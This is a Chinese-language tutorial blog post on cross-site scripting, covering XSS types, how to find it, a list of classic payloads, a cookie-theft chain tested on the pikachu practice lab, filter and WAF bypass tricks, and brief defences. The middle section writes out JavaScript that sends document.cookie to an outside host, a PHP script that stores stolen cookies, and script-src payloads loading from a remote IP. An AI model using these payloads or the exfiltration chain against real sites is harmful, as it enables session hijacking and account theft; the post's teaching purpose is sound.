跨站脚本攻击xss

  XSS全称(Cross Site Scripting)跨站脚本攻击,是最常见的Web应用程序安全漏洞之一,位于OWASP top 10 2013/2017年度分别为第三名和第七名,XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的危险代码,当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。

 

 

 

 

XSS分为三类:

  反射型XSS:简单的把用户输入的数据反射给浏览器,它一次性的和被动的。只有用户点击了攻击者的XSS攻击连接才会触发。

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
?>

  存储型XSS:攻击者的XSS代码会被存在在数据库里面,永久性存储,具有很强的稳定性。也是XSS中危害最大的。常见于页面数据交汇处。如:评论,修改用户信息,登录,留言板,搜索等地方。攻击者将脚本代码嵌入留言区等,提交到服务器,其他用户登录时也会执行该脚本代码。

  DOM型XSS:不与后台服务器产生数据交互,通过更改前端的dom节点形成的XSS漏洞。

 

XSS攻击的危害:

  • 盗取用户cookie;

  • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号;

  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力;

  • 盗窃企业重要的具有商业价值的资料;

  • 强制发送电子邮件;

  • 网站挂马

 

如何查找XSS:

   手工查找:只要有输入且有对脚本输出解析的地方(登录注册修改更新留言等等),都可以尝试XSS(如:HTML标签、URL栏、Style地、Script地、referer头、cookies、post参数、页面带参数的地方等等),也可以借助半自动工具辅助(Burpsuite、firefox(hackbar)、XSSER、 XSSF等)。

http://xx.xx.xx.xx/xxx.php?id=参数'"><script>alert(12)</script>

  工具查找:APPscan、AWVS、Burpsuite 等

 

一些经典xss语句:(仅供学习使用,请勿进行非法攻击)

<h5>1</h5>
<SCRIPT>alert(document.cookie)</SCRIPT>
<img src=1 onerror=alert(document.cookie)>
<script>alert('xss');</script>
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert(([code])'></table>
<object type=text/html data='javascript.:alert(([code]);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
pt>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<s&#99;ript>alert('XSS')</script>
<img src="javas&#99;ript:alert('XSS')">
%0a%0a<script>alert("Vulnerable")</script>.jsp
3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

 

XSS盗取cookie原理:

首先编写 js代码获取用户cookie值

var img = document.createElement('img');  // 创建一个图片标签
img.width = 0;    //设置图片的宽为0
img.height = 0;   //设置图片的高为0

 img.src = 'http://ip /xss.php?Cookie='+encodeURIComponent(document.cookie);// 设置图片的src属性,该src能将用户的cookie值发送到这个连接的服务器

 

编写服务器后台代码

<?php
    @ini_set('display_errors',1);    // 直接在浏览器中输出错误信息
    $str = $_GET['Cookie'];         // 获取用户cookie
    $filePath = "Cookie.php";      // 将用户的cookie保存
    $handler = fopen($filePath, "a");
    fwrite($handler, $str);
fclose($handler);
?>

 

构造 XSS payload

<script src="http://192.168.64.134/xss.js"></script>

<script src="//192.168.64.134/xss.js "></script>

 

以pikachu靶场做实验,效果如下。

插入payload,然后提交

 

后台服务器效果如下

XSS绕过技巧:

  • 对前端的限制可以尝试进行抓包重发或者修改前端的HTML。
  • 防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。例:<sCRipT>alert('xss')</sCrIPt>
  • 防止后台对输入的内容进行替换,采用拼拼凑的输入方法。例:<sc<script>ript>alert('xss')</scr<script>ipt>
  • 使用注释来干扰后台对输入内容的识别。例:<sc<!--test-->ript>alert('xss')</scr<!--tshauie-->ipt>
  • 编码思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)
  • 转换标签:script 标签不行,可以替换其他标签(如:img、onclick)。例如:<img src=a onerror=alert(1)>

 

XSS常规waf绕过技巧:

  • 标签语法替换
  • 特殊符号干扰
  • 提交方式更改
  • 垃圾数据溢出
  • 加密解密算法
  • 结合其他漏洞绕过

XSS防御:

XSS防御的总体思路是:对输入进行过滤,对输出进行编码

过滤:根据业务需求进行过滤,比如输出点要求输入手机号,则只允许输入手机号格式的数字。

转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义()

原文地址:https://www.cnblogs.com/xingyuyu/p/15401015.html